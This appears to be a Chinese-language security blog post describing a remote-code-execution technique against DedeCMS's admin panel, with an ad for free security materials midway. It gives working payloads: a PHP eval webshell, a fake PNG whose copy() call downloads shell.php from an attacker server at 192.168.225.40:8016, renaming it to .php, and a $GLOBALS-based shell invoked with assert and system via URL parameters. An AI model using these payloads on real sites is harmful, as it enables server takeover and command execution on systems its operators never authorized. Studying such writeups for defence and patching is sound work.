前言
刚发现Dedecms更新了发布版本,顺便测试一下之前的day有没有修复,突然想到了新的tricks去实现RCE。
文章发布的时候估计比较晚了,一直没时间写了。
利用
/uploads/dede/article_string_mix.php
/uploads/dede/article_template_rand.php
/uploads/dede/sys_task.php
......我发布的文档->>>>添加文档->>>>站内选择进行文件上传
/uploads/dede/content_list.php](http://dedecms.xyz:8066/uploads/dede/content_list.php?mid=1)
/uploads/dede/catalog_do.php?channelid=0&cid=0&dopost=addArchives
![](http://picx.zhimg.com/v2-141ad839fa0b900c60d6929b47c886c7_r.jpg?source=1940ef5c)
文件上传
![](http://picx.zhimg.com/v2-5a2918dcba214f177edb8f50f75c8665_r.jpg?source=1940ef5c)
在vps上起一个http的服务,端口设置为8016
![](http://pica.zhimg.com/v2-5a606ee91ee6bbdcb4846217da90d629_r.jpg?source=1940ef5c)
远程服务器存放shell.php,文件内容为
<?php @eval ($_POST [&#39;a&#39;]);?>准备一个图片格式的文件,文件内容为,这里我上传的文件名称为f.png
<? copy(&#34;http://192.168.225.40:8016/shell.php&#34;,&#34;shell.php&#34;);?>上传成功后可以看到上传的图片的位置
![](http://picx.zhimg.com/v2-27828eb4d4c8c36cd87044bf8733051b_r.jpg?source=1940ef5c)
修改文件名为b.php
![](http://pic1.zhimg.com/v2-beec84f6532b780e8997734eda2aa1d0_r.jpg?source=1940ef5c)
保存发现png图片已成功被更改,访问b.php,从远程vps下载了shell.php,当前目录下存在一个名称为shell.php的木马文件
![](http://pica.zhimg.com/v2-c5b56925673c29b2876db355bcbd2117_r.jpg?source=1940ef5c)
![](http://picx.zhimg.com/v2-3312cfb8fe7c13a679445b3870f0d20a_r.jpg?source=1940ef5c)
利用webshell进行命令执行。
![](http://picx.zhimg.com/v2-d0d401f975f56af2fabe94a9c3110893_r.jpg?source=1940ef5c)
成功执行了命令
帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)
思考
如果不考虑文件上传后缀名绕过方法,仅以上面图片格式的文件上传的话,那么无所谓上传的什么内容,因为本身来讲dede的代码中对文件内容是做的有校验的
![](http://picx.zhimg.com/v2-3d95090f383d1834570bf21fa1733da6_r.jpg?source=1940ef5c)
所以文件内有两种绕过方法
简单搜索了一下各个平台的文章,其实是有师傅正则绕过实现webshell的。第二点儿,disable函数绕过,往前几个版本,有兴趣的可以看一下源码,之前利用全局变量Globals绕过
![](http://pic1.zhimg.com/v2-7ea2e99d5b71babd83e60d1b5665aefd_r.jpg?source=1940ef5c)
代码内容
<?php
$a = $GLOBALS[&#34;_GET&#34;];
$b = $GLOBALS[&#34;_GET&#34;];
$a[&#39;test1&#39;]($b[&#39;test2&#39;])
?>
![](http://pic1.zhimg.com/v2-5a5d29c395dc39c70b72988f026e708a_r.jpg?source=1940ef5c)
命令执行
http://dedecms.org:8016/uploads/shell.php?test1=assert&&test2=system(%22ipconfig%22);
![](http://picx.zhimg.com/v2-aac74a14d59887e985d413673a004eab_r.jpg?source=1940ef5c)
成功执行命令,且该命令执行为未授权命令执行。
所以在官方前几个版本中已经更新了,添加进了禁用方法
![](http://pica.zhimg.com/v2-390bc16859e6e7d7bf2f4722c7e4a5c9_r.jpg?source=1940ef5c)
所以在绕过禁用方法上来讲更容易一点儿。所以在利用上这里利用了copy函数的特性,那么这里提醒一下,其它的函数当然也可以满足效果。 |